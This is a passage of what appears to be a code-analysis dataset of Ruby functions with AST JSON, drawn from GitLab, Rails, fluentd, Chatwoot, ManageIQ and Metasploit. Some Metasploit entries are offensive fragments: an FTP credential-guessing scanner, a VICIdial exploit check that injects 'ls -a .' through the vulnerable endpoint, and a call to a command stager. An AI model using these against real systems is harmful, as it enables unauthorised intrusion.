\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flavor\"]},{\"type\":\"sym\",\"children\":[\"echo\"]}]}]}]}]}]}","id":"a2afce9e-01f2-480c-89ed-b50f1f977b59"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/template_processor_service.rb","start_line":95,"raw_source":"def process_media_header(component, content_variables, parameter_index)\n    media_param = component['parameters']&.first\n    return parameter_index unless media_param\n\n    media_link = extract_media_link(media_param)\n    if media_link\n      content_variables[parameter_index.to_s] = media_link\n      parameter_index + 1\n    else\n      parameter_index\n    end\n  end","complexity_score":11.25,"ast_json":"{\"type\":\"def\",\"children\":[\"process_media_header\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"component\"]},{\"type\":\"arg\",\"children\":[\"content_variables\"]},{\"type\":\"arg\",\"children\":[\"parameter_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"media_param\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parameters\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media_param\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_index\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"media_link\",{\"type\":\"send\",\"children\":[null,\"extract_media_link\",{\"type\":\"lvar\",\"children\":[\"media_param\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"media_link\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_variables\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_index\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"media_link\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameter_index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvar\",\"children\":[\"parameter_index\"]}]}]}]}","id":"d18cf342-f318-449f-b31a-b5f3764670f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/reindexing.rb","start_line":18,"raw_source":"def self.enabled?\n        return false if Feature.enabled?(:disallow_database_ddl_feature_flags, type: :ops)\n\n        Feature.enabled?(:database_reindexing, type: :ops)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"disallow_database_ddl_feature_flags\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"database_reindexing\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"ops\"]}]}]}]}]}]}","id":"65603141-18a8-4d7d-a134-35eb8d6cb11c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ftp/ftp_login.rb","start_line":19,"raw_source":"def initialize\n    super(\n      'Name' => 'FTP Authentication Scanner',\n      'Description' => %q{\n        This module will test FTP logins on a range of machines and\n        report successful logins.  If you have loaded a database plugin\n        and connected to a database this module will record successful\n        logins and hosts so you can track your access.\n      },\n      'Author' => 'todb',\n      'References' => [\n        [ 'CVE', '1999-0502'] # Weak password\n      ],\n      'License' => MSF_LICENSE,\n      'DefaultOptions' => {\n        'ConnectTimeout' => 30\n      }\n    )\n\n    register_options(\n      [\n        Opt::Proxies,\n        Opt::RPORT(21),\n        OptBool.new('RECORD_GUEST', [ false, \"Record anonymous/guest logins to the database\", false])\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptBool.new('SINGLE_SESSION', [ false, 'Disconnect after every login attempt', false]),\n      ]\n    )\n\n    deregister_options('FTPUSER', 'FTPPASS') # Can use these, but should use 'username' and 'password'\n    @accepts_all_logins = {}\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"FTP Authentication Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module will test FTP logins on a range of machines and\\n\"]},{\"type\":\"str\",\"children\":[\"        report successful logins.  If you have loaded a database plugin\\n\"]},{\"type\":\"str\",\"children\":[\"        and connected to a database this module will record successful\\n\"]},{\"type\":\"str\",\"children\":[\"        logins and hosts so you can track your access.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"todb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0502\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ConnectTimeout\"]},{\"type\":\"int\",\"children\":[30]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"Proxies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[21]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"RECORD_GUEST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Record anonymous/guest logins to the database\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"SINGLE_SESSION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Disconnect after every login attempt\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"FTPUSER\"]},{\"type\":\"str\",\"children\":[\"FTPPASS\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@accepts_all_logins\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"19df67ca-67c0-46ee-b81b-668ab01ca6d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb","start_line":159,"raw_source":"def email_fixture(path)\n    fixture_file(path).gsub('project_id', project.project_id.to_s)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"email_fixture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixture_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"project_id\"]},\"to_s\"]}]}]}","id":"6ca3579f-64a7-45d5-9cfd-2eb8ac79cf5b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/inverse_associations_test.rb","start_line":589,"raw_source":"def test_parent_instance_should_find_child_instance_using_child_instance_id_when_created\n    human = Human.create!\n    interest = Interest.create!(human: human)\n\n    assert human.equal?(human.interests.first.human), \"Two inverses should lead back to the same object that was originally held\"\n    assert human.equal?(human.interests.find(interest.id).human), \"Two inversions should lead back to the same object that was originally held\"\n\n    assert_nil human.interests.find(interest.id).human.name, \"The name of the human should match before the name is changed\"\n    human.name = \"Ben Bitdiddle\"\n    assert_equal human.name, human.interests.find(interest.id).human.name, \"The name of the human should match after the parent name is changed\"\n    human.interests.find(interest.id).human.name = \"Alyssa P. Hacker\"\n    assert_equal human.name, human.interests.find(interest.id).human.name, \"The name of the human should match after the child name is changed\"\n  end","complexity_score":55.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parent_instance_should_find_child_instance_using_child_instance_id_when_created\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"human\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Human\"]},\"create!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"interest\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Interest\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"human\"]},{\"type\":\"lvar\",\"children\":[\"human\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"equal?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"interests\"]},\"first\"]},\"human\"]}]},{\"type\":\"str\",\"children\":[\"Two inverses should lead back to the same object that was originally held\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"equal?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"interests\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"id\"]}]},\"human\"]}]},{\"type\":\"str\",\"children\":[\"Two inversions should lead back to the same object that was originally held\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"interests\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"id\"]}]},\"human\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"The name of the human should match before the name is changed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"name=\",{\"type\":\"str\",\"children\":[\"Ben Bitdiddle\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"interests\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"id\"]}]},\"human\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"The name of the human should match after the parent name is changed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"interests\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"id\"]}]},\"human\"]},\"name=\",{\"type\":\"str\",\"children\":[\"Alyssa P. Hacker\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"human\"]},\"interests\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"id\"]}]},\"human\"]},\"name\"]},{\"type\":\"str\",\"children\":[\"The name of the human should match after the child name is changed\"]}]}]}]}","id":"a69a796d-9865-4a61-8c27-c94b092413da"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/template/base_template.rb","start_line":46,"raw_source":"def to_json(*)\n        { key: key, name: name, content: content }\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[null,\"content\"]}]}]}]}","id":"0d2c6c3f-5c4e-430e-b705-d43f94bd45b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/dynamic_registrations_controller.rb","start_line":79,"raw_source":"def check_rate_limit\n      return if Rails.env.test? || Rails.env.development?\n\n      check_rate_limit!(:oauth_dynamic_registration, scope: request.ip)\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_rate_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"development?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"check_rate_limit!\",{\"type\":\"sym\",\"children\":[\"oauth_dynamic_registration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"ip\"]}]}]}]}]}]}","id":"98452f28-05c1-4e87-b705-da2d68de859c"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/parser.rb","start_line":167,"raw_source":"def configure(conf)\n          return if @manually_configured # not to run twice\n\n          conf['expression'] ||= @stored_regexp.source\n          conf['ignorecase'] ||= @stored_regexp.options & Regexp::IGNORECASE != 0\n          conf['multiline'] ||= @stored_regexp.options & Regexp::MULTILINE != 0\n          convert_type_converter_parameters!(conf)\n\n          super\n        end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conf\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@manually_configured\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"expression\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stored_regexp\"]},\"source\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ignorecase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stored_regexp\"]},\"options\"]},\"&\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"[]\",{\"type\":\"str\",\"children\":[\"multiline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stored_regexp\"]},\"options\"]},\"&\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"MULTILINE\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"convert_type_converter_parameters!\",{\"type\":\"lvar\",\"children\":[\"conf\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"3c0171e5-594f-4c50-90a2-a8396c5da919"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb","start_line":156,"raw_source":"def check\n    res = request('ls -a .')\n\n    if res and res.code == 200\n      if res.body =~ /Invalid Username\\/Password/\n        vprint_error(\"Invalid Username or Password.\")\n        return Exploit::CheckCode::Detected\n      elsif res.body =~ /Invalid session_name/\n        vprint_error(\"Web client session not found\")\n        return Exploit::CheckCode::Detected\n      elsif res.body =~ /\\.\\n\\.\\.\\n/m\n        return Exploit::CheckCode::Vulnerable\n      end\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":16.63,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"str\",\"children\":[\"ls -a .\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid Username/Password\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Invalid Username or Password.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid session_name\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Web client session not found\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.\\\\n\\\\.\\\\.\\\\n\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"aeb72fcc-6abe-4e28-8df0-cf7b560acd51"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_formatter_single_value.rb","start_line":15,"raw_source":"def test_config_params_message_key\n    d = create_driver('message_key' => 'foobar')\n    assert_equal \"foobar\", d.instance.message_key\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_config_params_message_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message_key\"]},{\"type\":\"str\",\"children\":[\"foobar\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foobar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"message_key\"]}]}]}]}","id":"faeaa210-aa54-4783-a8cd-fddab63c8338"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240419035506_add_work_item_parent_links_namespace_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :work_item_parent_links, column: :namespace_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"work_item_parent_links\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]}]}]}","id":"330a3d06-d059-401a-9c86-71cf744fe1dc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/acts_as_ar_model.rb","start_line":157,"raw_source":"def self.to_legacy_options(options)\n    {\n      :conditions => options[:where],\n      :include    => options[:includes],\n      :limit      => options[:limit],\n      :order      => options[:order],\n      :offset     => options[:offset],\n      :select     => options[:select],\n      :group      => options[:group],\n    }.delete_blanks\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_legacy_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conditions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"where\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"includes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"limit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"select\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"select\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]},\"delete_blanks\"]}]}","id":"4fcd2688-9242-4b54-84a8-3f9df745f221"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/sunrpc.rb","start_line":51,"raw_source":"def sunrpc_create(protocol, program, version, time_out = timeout)\n    self.rpcobj = Rex::Proto::SunRPC::Client.new(\n      :rhost => rhost,\n      :rport => rport.to_i,\n      :proto => protocol,\n      :program => program,\n      :timeout => time_out,\n      :version => version,\n      :context => {\n        'Msf'        => framework,\n        'MsfExploit' => self,\n      }\n    )\n\n    if datastore['ONCRPC::tcp_request_fragmentation']\n      self.rpcobj.should_fragment = 1\n    end\n\n    ret = rpcobj.create\n    raise ::Rex::Proto::SunRPC::RPCError, \"#{rhost}:#{rport} - SunRPC - No response to Portmap request\" unless ret\n\n    begin\n      arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)\n    rescue Rex::ArgumentError\n      raise Rex::Proto::SunRPC::RPCError, \"#{rhost}:#{rport} - SunRPC - XDR decoding failed in #{__callee__}\"\n    end\n\n    if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0\n      err = \"#{rhost}:#{rport} - SunRPC - Portmap request failed: \"\n      err << 'Message not accepted'  if arr[1] != MSG_ACCEPTED\n      err << 'RPC did not execute'   if arr[4] != SUCCESS\n      err << 'Program not available' if arr[5] == 0\n      raise ::Rex::Proto::SunRPC::RPCError, err\n    end\n\n    rpcobj.pport = arr[5]\n  end","complexity_score":67.25,"ast_json":"{\"type\":\"def\",\"children\":[\"sunrpc_create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"protocol\"]},{\"type\":\"arg\",\"children\":[\"program\"]},{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"optarg\",\"children\":[\"time_out\",{\"type\":\"send\",\"children\":[null,\"timeout\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rpcobj=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"SunRPC\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rhost\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rport\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"lvar\",\"children\":[\"protocol\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"program\"]},{\"type\":\"lvar\",\"children\":[\"program\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"time_out\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":